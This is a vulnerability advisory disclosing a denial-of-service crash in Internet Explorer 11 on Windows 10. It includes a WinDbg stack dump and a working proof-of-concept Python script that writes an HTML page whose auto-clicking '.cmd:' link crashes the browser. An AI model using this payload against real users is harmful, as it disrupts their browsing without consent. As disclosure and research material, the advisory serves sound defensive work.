Microsoft Internet Explorer 11.371.16299.0 Denial Of Service

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-(Win-10)-DENIAL-OF-SERVICE.txt  
[+] ISR: ApparitionSec   
  
  
Vendor:  
=======  
www.microsoft.com  
  
  
Product:  
========  
Internet Explorer (Windows 10)  
v11.371.16299.0  
  
Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.  
  
  
Vulnerability Type:  
==================  
Denial Of Service  
  
  
CVE Reference:  
==============  
N/A  
  
  
Security Issue:  
================  
A null pointer de-reference (read) results in an InternetExplorer Denial of Service (crash) when MSIE encounters an specially crafted  
HTML HREF tag containing an empty reference for certain Windows file types. Upon IE crash it will at times daringly attempt to restart itself,  
if that occurs and user is prompted by IE to restore their browser session, then selecting this option so far in my tests has shown to repeat the  
crash all over again. This can be leveraged by visiting a hostile webpage or link to crash an end users MSIE browser.  
  
Referencing some of the following extensions .exe:, .com:, .pif:, .bat: and .scr: should produce the same :)  
  
Tested Windows 10   
  
Stack Dump:  
==========  
(2e8c.27e4): Access violation - code c0000005 (first/second chance not available)  
ntdll!NtWaitForMultipleObjects+0x14:  
00007ffa`be5f0e14 c3 ret  
0:015> r  
rax=000000000000005b rbx=0000000000000003 rcx=0000000000000003  
rdx=000000cca6efd3a8 rsi=0000000000000000 rdi=0000000000000003  
rip=00007ffabe5f0e14 rsp=000000cca6efcfa8 rbp=0000000000000000  
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000  
r11=0000000000000246 r12=0000000000000010 r13=000000cca6efd3a8  
r14=0000000000000000 r15=0000000000000000  
iopl=0 nv up ei pl zr na po nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246  
ntdll!NtWaitForMultipleObjects+0x14:  
00007ffa`be5f0e14 c3 ret  
  
CONTEXT: (.ecxr)  
rax=0000000000000000 rbx=000001fd4a2ec9d8 rcx=0000000000000000  
rdx=00007ffabb499398 rsi=000001fd4a5b0ce0 rdi=0000000000000000  
rip=00007ffabb7fc646 rsp=000000cca6efe4f8 rbp=000000cca6efe600  
r8=0000000000000000 r9=0000000000008000 r10=00007ffabb499398  
r11=0000000000000000 r12=0000000000000000 r13=00007ffabb48d060  
r14=0000000000000002 r15=0000000000000001  
iopl=0 nv up ei pl zr na po nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
KERNELBASE!StrCmpICW+0x6:  
00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11] ds:00000000`00000000=????  
Resetting default scope  
  
FAULTING_IP:   
KERNELBASE!StrCmpICW+6  
00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11]  
  
EXCEPTION_RECORD: (.exr -1)  
ExceptionAddress: 00007ffabb7fc646 (KERNELBASE!StrCmpICW+0x0000000000000006)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 0000000000000000  
Parameter[1]: 0000000000000000  
Attempt to read from address 0000000000000000  
  
DEFAULT_BUCKET_ID: NULL_POINTER_READ  
PROCESS_NAME: iexplore.exe  
  
  
  
POC video URL:  
==============  
https://vimeo.com/265691256/  
  
  
  
Exploit/POC:  
============  
1) Run below python script to create "IE-Win10-Crasha.html"  
2) Open IE-Win10-Crasha.html in InternetExplorer v11.371.16299 on Windows 10  
  
payload=('<br>\n'+  
'<center>MSIE v11.371.16299 Denial Of Service by hyp3rlinx <br>\n'+  
'<a href=".cmd:" id="hate">crashy ware shee</a>\n'+  
'<br>\n'+  
'Tested successfully on Windows 10\n'+  
'</center><script>\n'  
'function doit(){\n'+  
'document.getElementById("hate").click();\n'  
'alert("DOH!");\n'+  
'obj.click();\n'+  
'obj.click();\n'+  
'}\n'+  
'setInterval("doit()", 2000)\n'+  
'</script>')  
  
file=open("IE-Win10-Crasha.html","w")  
file.write(payload)  
file.close()  
  
print 'MS InternetExplorer (Win 10) '  
print 'Denial Of Service File Created.'  
print 'hyp3rlinx'  
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: April 18, 2018  
vendor closes thread : April 19, 2018  
April 20, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`